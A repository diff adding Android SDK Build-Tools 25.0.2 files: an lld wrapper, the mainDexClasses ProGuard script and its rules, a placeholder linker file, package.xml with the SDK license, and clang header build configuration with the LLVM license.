tools/android-sdk/lib64/libbcc.so
Executable file
BIN
tools/android-sdk/lib64/libbcinfo.so
Executable file
BIN
tools/android-sdk/lib64/libc++.so
Executable file
BIN
tools/android-sdk/lib64/libc++.so.1
Normal file
BIN
tools/android-sdk/lib64/libclang_android.so
Normal file
17
tools/android-sdk/lld
Executable file
|
@ -0,0 +1,17 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Copyright (C) 2020 The Android Open Source Project
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
$(dirname "$0")/lld-bin/lld "$@"
|
BIN
tools/android-sdk/lld-bin/lld
Executable file
BIN
tools/android-sdk/llvm-rs-cc
Executable file
180
tools/android-sdk/mainDexClasses
Executable file
|
@ -0,0 +1,180 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Copyright (C) 2013 The Android Open Source Project
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
|
||||
function makeTempJar ()
|
||||
{
|
||||
local tempDir=/tmp
|
||||
if [ ! -e "${tempDir}" ]; then
|
||||
tempDir=.
|
||||
fi
|
||||
local tempfile="${tempDir}/mainDexClasses-$$.tmp.jar"
|
||||
if [ -e "${tempfile}" ]; then
|
||||
echo "Failed to create temporary file" >2
|
||||
exit 6
|
||||
fi
|
||||
echo "${tempfile}"
|
||||
}
|
||||
|
||||
function cleanTmp ()
|
||||
{
|
||||
if [ -e "${tmpOut}" ] ; then
|
||||
rm "${tmpOut}"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
# Set up prog to be the path of this script, including following symlinks,
|
||||
# and set up progdir to be the fully-qualified pathname of its directory.
|
||||
prog="$0"
|
||||
|
||||
while [ -h "${prog}" ]; do
|
||||
newProg=`/bin/ls -ld "${prog}"`
|
||||
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
|
||||
if expr "x${newProg}" : 'x/' >/dev/null; then
|
||||
prog="${newProg}"
|
||||
else
|
||||
progdir=`dirname "${prog}"`
|
||||
prog="${progdir}/${newProg}"
|
||||
fi
|
||||
done
|
||||
oldwd=`pwd`
|
||||
progdir=`dirname "${prog}"`
|
||||
cd "${progdir}"
|
||||
progdir=`pwd`
|
||||
prog="${progdir}"/`basename "${prog}"`
|
||||
cd "${oldwd}"
|
||||
|
||||
baserules="${progdir}"/mainDexClasses.rules
|
||||
if [ ! -r "${baserules}" ]; then
|
||||
echo `basename "$prog"`": can't find mainDexClasses.rules" 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
extrarules="${progdir}"/mainDexClassesNoAapt.rules
|
||||
if [ ! -r ${extrarules} ]; then
|
||||
echo `basename "$prog"`": can't find mainDexClassesNoAapt.rules" 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
jarfile=dx.jar
|
||||
libdir="$progdir"
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set dx.jar location for the SDK case
|
||||
libdir="$libdir/lib"
|
||||
fi
|
||||
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
# set dx.jar location for the Android tree case
|
||||
libdir=`dirname "$progdir"`/framework
|
||||
fi
|
||||
|
||||
if [ ! -r "$libdir/$jarfile" ]; then
|
||||
echo `basename "$prog"`": can't find $jarfile" 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
proguardExec="proguard.sh"
|
||||
proguard=${PROGUARD_HOME}/bin/${proguardExec}
|
||||
|
||||
if [ ! -r "${proguard}" ]; then
|
||||
# set proguard location for the SDK case
|
||||
proguardBaseDir=`dirname "$progdir"`
|
||||
# "${progdir}"/../..
|
||||
proguardBaseDir=`dirname "$proguardBaseDir"`
|
||||
proguard="${proguardBaseDir}"/tools/proguard/bin/${proguardExec}
|
||||
fi
|
||||
|
||||
if [ ! -r "${proguard}" ]; then
|
||||
# set proguard location for the Android tree case
|
||||
proguardBaseDir=`dirname "$proguardBaseDir"`
|
||||
# "${progdir}"/../../../..
|
||||
proguardBaseDir=`dirname "$proguardBaseDir"`
|
||||
proguard="${proguardBaseDir}"/external/proguard/bin/${proguardExec}
|
||||
fi
|
||||
|
||||
if [ ! -r "${proguard}" ]; then
|
||||
proguard="${ANDROID_BUILD_TOP}"/external/proguard/bin/${proguardExec}
|
||||
fi
|
||||
|
||||
if [ ! -r "${proguard}" ]; then
|
||||
proguard="`which proguard`"
|
||||
fi
|
||||
|
||||
if [ -z "${proguard}" -o ! -r "${proguard}" ]; then
|
||||
proguard="`which ${proguardExec}`"
|
||||
fi
|
||||
|
||||
if [ -z "${proguard}" -o ! -r "${proguard}" ]; then
|
||||
echo `basename "$prog"`": can't find ${proguardExec}" 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
shrinkedAndroidJar="${SHRINKED_ANDROID_JAR}"
|
||||
if [ -z "${shrinkedAndroidJar}" ]; then
|
||||
shrinkedAndroidJar=shrinkedAndroid.jar
|
||||
fi
|
||||
|
||||
if [ ! -r "${shrinkedAndroidJar}" ]; then
|
||||
shrinkedAndroidJar=${libdir}/${shrinkedAndroidJar}
|
||||
fi
|
||||
|
||||
if [ ! -r "${shrinkedAndroidJar}" ]; then
|
||||
echo `basename "$prog"`": can't find shrinkedAndroid.jar" 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
if [ "$OSTYPE" = "cygwin" ]; then
|
||||
# For Cygwin, convert the jarfile path into native Windows style.
|
||||
jarpath=`cygpath -w "$libdir/$jarfile"`
|
||||
proguard=`cygpath -w "${proguard}"`
|
||||
shrinkedAndroidJar=`cygpath -w "${shrinkedAndroidJar}"`
|
||||
else
|
||||
jarpath="$libdir/$jarfile"
|
||||
fi
|
||||
|
||||
disableKeepAnnotated=
|
||||
|
||||
while true; do
|
||||
if expr "x$1" : 'x--output' >/dev/null; then
|
||||
exec 1>$2
|
||||
shift 2
|
||||
elif expr "x$1" : 'x--disable-annotation-resolution-workaround' >/dev/null; then
|
||||
disableKeepAnnotated=$1
|
||||
shift 1
|
||||
elif expr "x$1" : "x--aapt-rules" >/dev/null; then
|
||||
extrarules=$2
|
||||
shift 2
|
||||
else
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ $# -ne 1 ]; then
|
||||
echo "Usage : $0 [--output <output file>] <application path>" 1>&2
|
||||
exit 2
|
||||
fi
|
||||
|
||||
tmpOut=`makeTempJar`
|
||||
|
||||
trap cleanTmp 0
|
||||
|
||||
"${proguard}" -injars ${@} -dontwarn -forceprocessing -outjars "${tmpOut}" \
|
||||
-libraryjars "${shrinkedAndroidJar}" -dontoptimize -dontobfuscate -dontpreverify \
|
||||
-include "${baserules}" -include "${extrarules}" 1>/dev/null || exit 10
|
||||
|
||||
java -cp "$jarpath" com.android.multidex.MainDexListBuilder ${disableKeepAnnotated} "${tmpOut}" ${@} || exit 11
|
20
tools/android-sdk/mainDexClasses.rules
Normal file
|
@ -0,0 +1,20 @@
|
|||
-keep public class * extends android.app.Instrumentation {
|
||||
<init>();
|
||||
}
|
||||
-keep public class * extends android.app.Application {
|
||||
<init>();
|
||||
void attachBaseContext(android.content.Context);
|
||||
}
|
||||
-keep public class * extends android.app.backup.BackupAgent {
|
||||
<init>();
|
||||
}
|
||||
# We need to keep all annotation classes because proguard does not trace annotation attribute
|
||||
# it just filter the annotation attributes according to annotation classes it already kept.
|
||||
-keep public class * extends java.lang.annotation.Annotation {
|
||||
*;
|
||||
}
|
||||
# Keep old fashion tests in the main dex or they'll be silently ignored by InstrumentationTestRunner
|
||||
-keep public class * extends android.test.InstrumentationTestCase {
|
||||
<init>();
|
||||
}
|
||||
|
13
tools/android-sdk/mainDexClassesNoAapt.rules
Normal file
|
@ -0,0 +1,13 @@
|
|||
-keep public class * extends android.app.Activity {
|
||||
<init>();
|
||||
}
|
||||
-keep public class * extends android.app.Service {
|
||||
<init>();
|
||||
}
|
||||
-keep public class * extends android.content.ContentProvider {
|
||||
<init>();
|
||||
}
|
||||
-keep public class * extends android.content.BroadcastReceiver {
|
||||
<init>();
|
||||
}
|
||||
|
5
tools/android-sdk/mipsel-linux-android-ld
Normal file
|
@ -0,0 +1,5 @@
|
|||
This dummy file substitutes for an old linker that used to be at its location.
|
||||
The presence of this file ensures that old versions of AGP continue to trust build tools integrity
|
||||
(which they would not if the file were removed).
|
||||
Old versions of AGP will not be able to do compatibility mode RenderScript builds,
|
||||
but everything else should work.
|
141
tools/android-sdk/package.xml
Normal file
|
@ -0,0 +1,141 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><ns2:repository xmlns:ns2="http://schemas.android.com/repository/android/common/01" xmlns:ns3="http://schemas.android.com/sdk/android/repo/addon2/01" xmlns:ns4="http://schemas.android.com/sdk/android/repo/sys-img2/01" xmlns:ns5="http://schemas.android.com/repository/android/generic/01" xmlns:ns6="http://schemas.android.com/sdk/android/repo/repository2/01"><license id="android-sdk-license" type="text">Terms and Conditions
|
||||
|
||||
This is the Android Software Development Kit License Agreement
|
||||
|
||||
1. Introduction
|
||||
|
||||
1.1 The Android Software Development Kit (referred to in the License Agreement as the "SDK" and specifically including the Android system files, packaged APIs, and Google APIs add-ons) is licensed to you subject to the terms of the License Agreement. The License Agreement forms a legally binding contract between you and Google in relation to your use of the SDK.
|
||||
|
||||
1.2 "Android" means the Android software stack for devices, as made available under the Android Open Source Project, which is located at the following URL: http://source.android.com/, as updated from time to time.
|
||||
|
||||
1.3 A "compatible implementation" means any Android device that (i) complies with the Android Compatibility Definition document, which can be found at the Android compatibility website (http://source.android.com/compatibility) and which may be updated from time to time; and (ii) successfully passes the Android Compatibility Test Suite (CTS).
|
||||
|
||||
1.4 "Google" means Google Inc., a Delaware corporation with principal place of business at 1600 Amphitheatre Parkway, Mountain View, CA 94043, United States.
|
||||
|
||||
|
||||
2. Accepting the License Agreement
|
||||
|
||||
2.1 In order to use the SDK, you must first agree to the License Agreement. You may not use the SDK if you do not accept the License Agreement.
|
||||
|
||||
2.2 By clicking to accept, you hereby agree to the terms of the License Agreement.
|
||||
|
||||
2.3 You may not use the SDK and may not accept the License Agreement if you are a person barred from receiving the SDK under the laws of the United States or other countries, including the country in which you are resident or from which you use the SDK.
|
||||
|
||||
2.4 If you are agreeing to be bound by the License Agreement on behalf of your employer or other entity, you represent and warrant that you have full legal authority to bind your employer or such entity to the License Agreement. If you do not have the requisite authority, you may not accept the License Agreement or use the SDK on behalf of your employer or other entity.
|
||||
|
||||
|
||||
3. SDK License from Google
|
||||
|
||||
3.1 Subject to the terms of the License Agreement, Google grants you a limited, worldwide, royalty-free, non-assignable, non-exclusive, and non-sublicensable license to use the SDK solely to develop applications for compatible implementations of Android.
|
||||
|
||||
3.2 You may not use this SDK to develop applications for other platforms (including non-compatible implementations of Android) or to develop another SDK. You are of course free to develop applications for other platforms, including non-compatible implementations of Android, provided that this SDK is not used for that purpose.
|
||||
|
||||
3.3 You agree that Google or third parties own all legal right, title and interest in and to the SDK, including any Intellectual Property Rights that subsist in the SDK. "Intellectual Property Rights" means any and all rights under patent law, copyright law, trade secret law, trademark law, and any and all other proprietary rights. Google reserves all rights not expressly granted to you.
|
||||
|
||||
3.4 You may not use the SDK for any purpose not expressly permitted by the License Agreement. Except to the extent required by applicable third party licenses, you may not: (a) copy (except for backup purposes), modify, adapt, redistribute, decompile, reverse engineer, disassemble, or create derivative works of the SDK or any part of the SDK; or (b) load any part of the SDK onto a mobile handset or any other hardware device except a personal computer, combine any part of the SDK with other software, or distribute any software or device incorporating a part of the SDK.
|
||||
|
||||
3.5 Use, reproduction and distribution of components of the SDK licensed under an open source software license are governed solely by the terms of that open source software license and not the License Agreement.
|
||||
|
||||
3.6 You agree that the form and nature of the SDK that Google provides may change without prior notice to you and that future versions of the SDK may be incompatible with applications developed on previous versions of the SDK. You agree that Google may stop (permanently or temporarily) providing the SDK (or any features within the SDK) to you or to users generally at Google's sole discretion, without prior notice to you.
|
||||
|
||||
3.7 Nothing in the License Agreement gives you a right to use any of Google's trade names, trademarks, service marks, logos, domain names, or other distinctive brand features.
|
||||
|
||||
3.8 You agree that you will not remove, obscure, or alter any proprietary rights notices (including copyright and trademark notices) that may be affixed to or contained within the SDK.
|
||||
|
||||
|
||||
4. Use of the SDK by You
|
||||
|
||||
4.1 Google agrees that it obtains no right, title or interest from you (or your licensors) under the License Agreement in or to any software applications that you develop using the SDK, including any intellectual property rights that subsist in those applications.
|
||||
|
||||
4.2 You agree to use the SDK and write applications only for purposes that are permitted by (a) the License Agreement and (b) any applicable law, regulation or generally accepted practices or guidelines in the relevant jurisdictions (including any laws regarding the export of data or software to and from the United States or other relevant countries).
|
||||
|
||||
4.3 You agree that if you use the SDK to develop applications for general public users, you will protect the privacy and legal rights of those users. If the users provide you with user names, passwords, or other login information or personal information, you must make the users aware that the information will be available to your application, and you must provide legally adequate privacy notice and protection for those users. If your application stores personal or sensitive information provided by users, it must do so securely. If the user provides your application with Google Account information, your application may only use that information to access the user's Google Account when, and for the limited purposes for which, the user has given you permission to do so.
|
||||
|
||||
4.4 You agree that you will not engage in any activity with the SDK, including the development or distribution of an application, that interferes with, disrupts, damages, or accesses in an unauthorized manner the servers, networks, or other properties or services of any third party including, but not limited to, Google or any mobile communications carrier.
|
||||
|
||||
4.5 You agree that you are solely responsible for (and that Google has no responsibility to you or to any third party for) any data, content, or resources that you create, transmit or display through Android and/or applications for Android, and for the consequences of your actions (including any loss or damage which Google may suffer) by doing so.
|
||||
|
||||
4.6 You agree that you are solely responsible for (and that Google has no responsibility to you or to any third party for) any breach of your obligations under the License Agreement, any applicable third party contract or Terms of Service, or any applicable law or regulation, and for the consequences (including any loss or damage which Google or any third party may suffer) of any such breach.
|
||||
|
||||
5. Your Developer Credentials
|
||||
|
||||
5.1 You agree that you are responsible for maintaining the confidentiality of any developer credentials that may be issued to you by Google or which you may choose yourself and that you will be solely responsible for all applications that are developed under your developer credentials.
|
||||
|
||||
6. Privacy and Information
|
||||
|
||||
6.1 In order to continually innovate and improve the SDK, Google may collect certain usage statistics from the software including but not limited to a unique identifier, associated IP address, version number of the software, and information on which tools and/or services in the SDK are being used and how they are being used. Before any of this information is collected, the SDK will notify you and seek your consent. If you withhold consent, the information will not be collected.
|
||||
|
||||
6.2 The data collected is examined in the aggregate to improve the SDK and is maintained in accordance with Google's Privacy Policy.
|
||||
|
||||
|
||||
7. Third Party Applications
|
||||
|
||||
7.1 If you use the SDK to run applications developed by a third party or that access data, content or resources provided by a third party, you agree that Google is not responsible for those applications, data, content, or resources. You understand that all data, content or resources which you may access through such third party applications are the sole responsibility of the person from which they originated and that Google is not liable for any loss or damage that you may experience as a result of the use or access of any of those third party applications, data, content, or resources.
|
||||
|
||||
7.2 You should be aware the data, content, and resources presented to you through such a third party application may be protected by intellectual property rights which are owned by the providers (or by other persons or companies on their behalf). You may not modify, rent, lease, loan, sell, distribute or create derivative works based on these data, content, or resources (either in whole or in part) unless you have been specifically given permission to do so by the relevant owners.
|
||||
|
||||
7.3 You acknowledge that your use of such third party applications, data, content, or resources may be subject to separate terms between you and the relevant third party. In that case, the License Agreement does not affect your legal relationship with these third parties.
|
||||
|
||||
|
||||
8. Using Android APIs
|
||||
|
||||
8.1 Google Data APIs
|
||||
|
||||
8.1.1 If you use any API to retrieve data from Google, you acknowledge that the data may be protected by intellectual property rights which are owned by Google or those parties that provide the data (or by other persons or companies on their behalf). Your use of any such API may be subject to additional Terms of Service. You may not modify, rent, lease, loan, sell, distribute or create derivative works based on this data (either in whole or in part) unless allowed by the relevant Terms of Service.
|
||||
|
||||
8.1.2 If you use any API to retrieve a user's data from Google, you acknowledge and agree that you shall retrieve data only with the user's explicit consent and only when, and for the limited purposes for which, the user has given you permission to do so.
|
||||
|
||||
|
||||
9. Terminating the License Agreement
|
||||
|
||||
9.1 The License Agreement will continue to apply until terminated by either you or Google as set out below.
|
||||
|
||||
9.2 If you want to terminate the License Agreement, you may do so by ceasing your use of the SDK and any relevant developer credentials.
|
||||
|
||||
9.3 Google may at any time, terminate the License Agreement with you if: (A) you have breached any provision of the License Agreement; or (B) Google is required to do so by law; or (C) the partner with whom Google offered certain parts of SDK (such as APIs) to you has terminated its relationship with Google or ceased to offer certain parts of the SDK to you; or (D) Google decides to no longer provide the SDK or certain parts of the SDK to users in the country in which you are resident or from which you use the service, or the provision of the SDK or certain SDK services to you by Google is, in Google's sole discretion, no longer commercially viable.
|
||||
|
||||
9.4 When the License Agreement comes to an end, all of the legal rights, obligations and liabilities that you and Google have benefited from, been subject to (or which have accrued over time whilst the License Agreement has been in force) or which are expressed to continue indefinitely, shall be unaffected by this cessation, and the provisions of paragraph 14.7 shall continue to apply to such rights, obligations and liabilities indefinitely.
|
||||
|
||||
|
||||
10. DISCLAIMER OF WARRANTIES
|
||||
|
||||
10.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT YOUR USE OF THE SDK IS AT YOUR SOLE RISK AND THAT THE SDK IS PROVIDED "AS IS" AND "AS AVAILABLE" WITHOUT WARRANTY OF ANY KIND FROM GOOGLE.
|
||||
|
||||
10.2 YOUR USE OF THE SDK AND ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF THE SDK IS AT YOUR OWN DISCRETION AND RISK AND YOU ARE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR COMPUTER SYSTEM OR OTHER DEVICE OR LOSS OF DATA THAT RESULTS FROM SUCH USE.
|
||||
|
||||
10.3 GOOGLE FURTHER EXPRESSLY DISCLAIMS ALL WARRANTIES AND CONDITIONS OF ANY KIND, WHETHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO THE IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
|
||||
|
||||
|
||||
11. LIMITATION OF LIABILITY
|
||||
|
||||
11.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT GOOGLE, ITS SUBSIDIARIES AND AFFILIATES, AND ITS LICENSORS SHALL NOT BE LIABLE TO YOU UNDER ANY THEORY OF LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL OR EXEMPLARY DAMAGES THAT MAY BE INCURRED BY YOU, INCLUDING ANY LOSS OF DATA, WHETHER OR NOT GOOGLE OR ITS REPRESENTATIVES HAVE BEEN ADVISED OF OR SHOULD HAVE BEEN AWARE OF THE POSSIBILITY OF ANY SUCH LOSSES ARISING.
|
||||
|
||||
|
||||
12. Indemnification
|
||||
|
||||
12.1 To the maximum extent permitted by law, you agree to defend, indemnify and hold harmless Google, its affiliates and their respective directors, officers, employees and agents from and against any and all claims, actions, suits or proceedings, as well as any and all losses, liabilities, damages, costs and expenses (including reasonable attorneys fees) arising out of or accruing from (a) your use of the SDK, (b) any application you develop on the SDK that infringes any copyright, trademark, trade secret, trade dress, patent or other intellectual property right of any person or defames any person or violates their rights of publicity or privacy, and (c) any non-compliance by you with the License Agreement.
|
||||
|
||||
|
||||
13. Changes to the License Agreement
|
||||
|
||||
13.1 Google may make changes to the License Agreement as it distributes new versions of the SDK. When these changes are made, Google will make a new version of the License Agreement available on the website where the SDK is made available.
|
||||
|
||||
|
||||
14. General Legal Terms
|
||||
|
||||
14.1 The License Agreement constitutes the whole legal agreement between you and Google and governs your use of the SDK (excluding any services which Google may provide to you under a separate written agreement), and completely replaces any prior agreements between you and Google in relation to the SDK.
|
||||
|
||||
14.2 You agree that if Google does not exercise or enforce any legal right or remedy which is contained in the License Agreement (or which Google has the benefit of under any applicable law), this will not be taken to be a formal waiver of Google's rights and that those rights or remedies will still be available to Google.
|
||||
|
||||
14.3 If any court of law, having the jurisdiction to decide on this matter, rules that any provision of the License Agreement is invalid, then that provision will be removed from the License Agreement without affecting the rest of the License Agreement. The remaining provisions of the License Agreement will continue to be valid and enforceable.
|
||||
|
||||
14.4 You acknowledge and agree that each member of the group of companies of which Google is the parent shall be third party beneficiaries to the License Agreement and that such other companies shall be entitled to directly enforce, and rely upon, any provision of the License Agreement that confers a benefit on (or rights in favor of) them. Other than this, no other person or company shall be third party beneficiaries to the License Agreement.
|
||||
|
||||
14.5 EXPORT RESTRICTIONS. THE SDK IS SUBJECT TO UNITED STATES EXPORT LAWS AND REGULATIONS. YOU MUST COMPLY WITH ALL DOMESTIC AND INTERNATIONAL EXPORT LAWS AND REGULATIONS THAT APPLY TO THE SDK. THESE LAWS INCLUDE RESTRICTIONS ON DESTINATIONS, END USERS AND END USE.
|
||||
|
||||
14.6 The rights granted in the License Agreement may not be assigned or transferred by either you or Google without the prior written approval of the other party. Neither you nor Google shall be permitted to delegate their responsibilities or obligations under the License Agreement without the prior written approval of the other party.
|
||||
|
||||
14.7 The License Agreement, and your relationship with Google under the License Agreement, shall be governed by the laws of the State of California without regard to its conflict of laws provisions. You and Google agree to submit to the exclusive jurisdiction of the courts located within the county of Santa Clara, California to resolve any legal matter arising from the License Agreement. Notwithstanding this, you agree that Google shall still be allowed to apply for injunctive remedies (or an equivalent type of urgent legal relief) in any jurisdiction.
|
||||
|
||||
|
||||
November 20, 2015</license><localPackage path="build-tools;25.0.2" obsolete="false"><type-details xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="ns5:genericDetailsType"/><revision><major>25</major><minor>0</minor><micro>2</micro></revision><display-name>Android SDK Build-Tools 25.0.2</display-name><uses-license ref="android-sdk-license"/></localPackage></ns2:repository>
|
128
tools/android-sdk/renderscript/clang-include/CMakeLists.txt
Normal file
|
@ -0,0 +1,128 @@
|
|||
set(files
|
||||
adxintrin.h
|
||||
altivec.h
|
||||
ammintrin.h
|
||||
arm_acle.h
|
||||
avx2intrin.h
|
||||
avx512bwintrin.h
|
||||
avx512cdintrin.h
|
||||
avx512dqintrin.h
|
||||
avx512erintrin.h
|
||||
avx512fintrin.h
|
||||
avx512ifmaintrin.h
|
||||
avx512ifmavlintrin.h
|
||||
avx512pfintrin.h
|
||||
avx512vbmiintrin.h
|
||||
avx512vbmivlintrin.h
|
||||
avx512vlbwintrin.h
|
||||
avx512vlcdintrin.h
|
||||
avx512vldqintrin.h
|
||||
avx512vlintrin.h
|
||||
avxintrin.h
|
||||
bmi2intrin.h
|
||||
bmiintrin.h
|
||||
__clang_cuda_cmath.h
|
||||
__clang_cuda_intrinsics.h
|
||||
__clang_cuda_math_forward_declares.h
|
||||
__clang_cuda_runtime_wrapper.h
|
||||
cpuid.h
|
||||
cuda_builtin_vars.h
|
||||
clflushoptintrin.h
|
||||
emmintrin.h
|
||||
f16cintrin.h
|
||||
float.h
|
||||
fma4intrin.h
|
||||
fmaintrin.h
|
||||
fxsrintrin.h
|
||||
htmintrin.h
|
||||
htmxlintrin.h
|
||||
ia32intrin.h
|
||||
immintrin.h
|
||||
intrin.h
|
||||
inttypes.h
|
||||
iso646.h
|
||||
limits.h
|
||||
lzcntintrin.h
|
||||
mm3dnow.h
|
||||
mmintrin.h
|
||||
mm_malloc.h
|
||||
module.modulemap
|
||||
mwaitxintrin.h
|
||||
nmmintrin.h
|
||||
opencl-c.h
|
||||
pkuintrin.h
|
||||
pmmintrin.h
|
||||
popcntintrin.h
|
||||
prfchwintrin.h
|
||||
rdseedintrin.h
|
||||
rtmintrin.h
|
||||
s390intrin.h
|
||||
shaintrin.h
|
||||
smmintrin.h
|
||||
stdalign.h
|
||||
stdarg.h
|
||||
stdatomic.h
|
||||
stdbool.h
|
||||
stddef.h
|
||||
__stddef_max_align_t.h
|
||||
stdint.h
|
||||
stdnoreturn.h
|
||||
tbmintrin.h
|
||||
tgmath.h
|
||||
tmmintrin.h
|
||||
unwind.h
|
||||
vadefs.h
|
||||
varargs.h
|
||||
vecintrin.h
|
||||
wmmintrin.h
|
||||
__wmmintrin_aes.h
|
||||
__wmmintrin_pclmul.h
|
||||
x86intrin.h
|
||||
xmmintrin.h
|
||||
xopintrin.h
|
||||
xsavecintrin.h
|
||||
xsaveintrin.h
|
||||
xsaveoptintrin.h
|
||||
xsavesintrin.h
|
||||
xtestintrin.h
|
||||
)
|
||||
|
||||
set(output_dir ${LLVM_LIBRARY_OUTPUT_INTDIR}/clang/${CLANG_VERSION}/include)
|
||||
|
||||
# Generate arm_neon.h
|
||||
clang_tablegen(arm_neon.h -gen-arm-neon
|
||||
SOURCE ${CLANG_SOURCE_DIR}/include/clang/Basic/arm_neon.td)
|
||||
|
||||
set(out_files)
|
||||
foreach( f ${files} )
|
||||
set( src ${CMAKE_CURRENT_SOURCE_DIR}/${f} )
|
||||
set( dst ${output_dir}/${f} )
|
||||
add_custom_command(OUTPUT ${dst}
|
||||
DEPENDS ${src}
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_if_different ${src} ${dst}
|
||||
COMMENT "Copying clang's ${f}...")
|
||||
list(APPEND out_files ${dst})
|
||||
endforeach( f )
|
||||
|
||||
add_custom_command(OUTPUT ${output_dir}/arm_neon.h
|
||||
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/arm_neon.h
|
||||
COMMAND ${CMAKE_COMMAND} -E copy_if_different ${CMAKE_CURRENT_BINARY_DIR}/arm_neon.h ${output_dir}/arm_neon.h
|
||||
COMMENT "Copying clang's arm_neon.h...")
|
||||
list(APPEND out_files ${output_dir}/arm_neon.h)
|
||||
|
||||
add_custom_target(clang-headers ALL DEPENDS ${out_files})
|
||||
set_target_properties(clang-headers PROPERTIES FOLDER "Misc")
|
||||
|
||||
install(
|
||||
FILES ${files} ${CMAKE_CURRENT_BINARY_DIR}/arm_neon.h
|
||||
COMPONENT clang-headers
|
||||
PERMISSIONS OWNER_READ OWNER_WRITE GROUP_READ WORLD_READ
|
||||
DESTINATION lib${LLVM_LIBDIR_SUFFIX}/clang/${CLANG_VERSION}/include)
|
||||
|
||||
if (NOT CMAKE_CONFIGURATION_TYPES) # don't add this for IDE's.
|
||||
add_custom_target(install-clang-headers
|
||||
DEPENDS clang-headers
|
||||
COMMAND "${CMAKE_COMMAND}"
|
||||
-DCMAKE_INSTALL_COMPONENT=clang-headers
|
||||
-P "${CMAKE_BINARY_DIR}/cmake_install.cmake")
|
||||
endif()
|
63
tools/android-sdk/renderscript/clang-include/LICENSE.TXT
Normal file
|
@ -0,0 +1,63 @@
|
|||
==============================================================================
|
||||
LLVM Release License
|
||||
==============================================================================
|
||||
University of Illinois/NCSA
|
||||
Open Source License
|
||||
|
||||
Copyright (c) 2007-2016 University of Illinois at Urbana-Champaign.
|
||||
All rights reserved.
|
||||
|
||||
Developed by:
|
||||
|
||||
LLVM Team
|
||||
|
||||
University of Illinois at Urbana-Champaign
|
||||
|
||||
http://llvm.org
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||
this software and associated documentation files (the "Software"), to deal with
|
||||
the Software without restriction, including without limitation the rights to
|
||||
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
|
||||
of the Software, and to permit persons to whom the Software is furnished to do
|
||||
so, subject to the following conditions:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice,
|
||||
this list of conditions and the following disclaimers.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimers in the
|
||||
documentation and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the names of the LLVM Team, University of Illinois at
|
||||
Urbana-Champaign, nor the names of its contributors may be used to
|
||||
endorse or promote products derived from this Software without specific
|
||||
prior written permission.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
||||
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
|
||||
SOFTWARE.
|
||||
|
||||
==============================================================================
|
||||
The LLVM software contains code written by third parties. Such software will
|
||||
have its own individual LICENSE.TXT file in the directory in which it appears.
|
||||
This file will describe the copyrights, license, and restrictions which apply
|
||||
to that code.
|
||||
|
||||
The disclaimer of warranty in the University of Illinois Open Source License
|
||||
applies to all code in the LLVM Distribution, and nothing in any of the
|
||||
other licenses gives permission to use the names of the LLVM Team or the
|
||||
University of Illinois to endorse or promote products derived from this
|
||||
Software.
|
||||
|
||||
The following pieces of software have additional or alternate copyrights,
|
||||
licenses, and/or restrictions:
|
||||
|
||||
Program Directory
|
||||
------- ---------
|
||||
<none yet>
|
||||
|
|
@ -0,0 +1,148 @@
|
|||
